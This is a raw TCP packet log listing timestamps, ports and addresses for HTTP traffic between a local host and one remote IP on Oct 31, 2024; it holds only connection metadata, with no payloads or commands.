Oct 31, 2024 04:16:10.114403009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114418030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114420891 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114438057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114451885 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114473104 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114486933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114500999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114516020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114516973 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114538908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114552975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114568949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114579916 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114587069 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114593029 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114618063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114622116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114638090 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114646912 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114660025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114660025 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114675999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114696980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114722967 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114736080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114748955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114763021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114775896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114789963 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114799023 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114834070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114841938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114877939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114886999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114896059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114916086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114940882 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114960909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114975929 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114989996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115005016 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115006924 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115041018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115052938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115072012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115077019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115083933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115092039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115107059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115120888 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115142107 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115151882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115154982 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115178108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115200043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115215063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115216970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115231037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115238905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115262985 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115278006 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115343094 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115358114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115372896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115386009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115387917 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115405083 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115411997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115418911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115433931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115436077 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115448952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115464926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115477085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115483046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115504980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115525961 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115560055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115575075 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115588903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115602016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115603924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115619898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115622044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115653038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115662098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115662098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115669012 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115684986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115699053 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115715027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115726948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115757942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115797997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115813017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115828037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115838051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115843058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115858078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115866899 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115875006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115891933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115916014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115932941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115962982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.115981102 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.115986109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116003036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116010904 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116019011 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116019011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116035938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116044044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116053104 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116053104 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116072893 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116091013 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116127968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116163015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116178036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116192102 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116206884 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116209984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116221905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116234064 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116238117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116252899 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116254091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116271019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116276026 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116301060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116322041 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116385937 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116399050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116413116 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116427898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116429090 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116442919 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116444111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116460085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116475105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116475105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116491079 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116502047 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116513014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116514921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116530895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116543055 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116559029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116575956 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116580963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116595984 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116610050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116627932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116636038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116660118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116686106 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116729021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116744041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116760015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116774082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116775990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116791964 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116792917 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116807938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116818905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116823912 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116838932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116856098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116857052 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116884947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116909981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.116966963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116981030 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.116995096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117011070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117023945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117033005 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117043972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117047071 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117060900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117069960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117093086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117095947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117125988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117140055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117142916 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117156029 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117172956 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117176056 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117189884 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117203951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117204905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117223024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117225885 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117250919 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117255926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117269993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117280006 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117284060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117288113 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117300987 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117311001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117316008 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117325068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117341042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117355108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117363930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117377996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117415905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117436886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117450953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117465019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117475986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117479086 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117492914 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117496967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117510080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117511034 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117532015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117553949 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117573977 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117588997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117604017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117619991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117638111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117655993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117677927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117696047 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117711067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.117723942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.117749929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.160404921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.160420895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.160435915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.160468102 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.160489082 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.184664011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184698105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184736967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184747934 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.184752941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184761047 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.184768915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184782982 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.184783936 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184808016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.184834957 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.184933901 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184966087 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184982061 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.184984922 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.184997082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185009003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185014963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185019016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185043097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185043097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185306072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185350895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185352087 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185369015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185406923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185411930 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185427904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185442924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185468912 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185472965 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185488939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185507059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185508966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185523033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185538054 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185558081 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185575962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185581923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185590982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185605049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185615063 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185633898 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185645103 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185662031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185684919 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185729027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185791016 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185805082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185820103 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185834885 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185844898 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185866117 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185889006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185904026 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185918093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185934067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185941935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185962915 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.185973883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.185997963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186013937 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186028004 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186036110 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186062098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186069012 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186089993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186108112 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186113119 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186136961 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186150074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186156034 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186166048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186182022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186201096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186213970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186222076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186235905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186242104 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186254025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186269045 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186276913 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186285019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186297894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186300993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186314106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186326981 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186359882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186368942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186393976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186394930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186419010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186434031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186443090 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186456919 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186467886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186471939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186487913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186501980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186513901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.186517954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.186522007 CET	49814	80	192.168.2.4	185.215.113.16
